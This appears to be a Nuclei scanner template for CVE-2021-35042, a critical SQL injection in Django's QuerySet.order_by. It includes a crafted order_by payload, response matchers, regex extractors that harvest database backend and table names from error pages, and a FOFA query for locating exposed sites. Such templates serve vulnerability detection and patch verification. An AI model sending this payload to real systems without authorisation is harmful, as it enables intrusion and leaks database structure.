Django QuerySet.order_by - SQL Injection

id: CVE-2021-35042

info:
  name: Django QuerySet.order_by - SQL Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 contain a SQL injection caused by untrusted input in QuerySet.order_by, letting attackers execute arbitrary SQL commands, exploit requires attacker to control order_by input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
  remediation: |
    Update to Django 3.1.13 or 3.2.5 or later versions.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35042
    - https://github.com/zer0qs/CVE-2021-35042
    - https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
    epss-score: 0.38424
    epss-percentile: 0.97091
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="ProgrammingError" && body="ORDER BY"
  tags: cve,cve2021,django,sqli

http:
  - raw:
      - |
        GET /?order_by=vuln.x]-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, "ProgrammingError", "ORDER BY") || contains_all(body, "DatabaseError", "ORDER BY")'
          - 'contains_any(body, "psycopg2", "MySQLdb", "sqlite3", "cx_Oracle")'
        condition: and

    extractors:
      - type: regex
        name: database
        part: body
        group: 1
        regex:
          - "django\\.db\\.backends\\.(postgresql|mysql|sqlite3|oracle)"

      - type: regex
        name: tables
        part: body
        group: 1
        regex:
          - 'FROM\s+"([a-zA-Z_][a-zA-Z0-9_]*)"'
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
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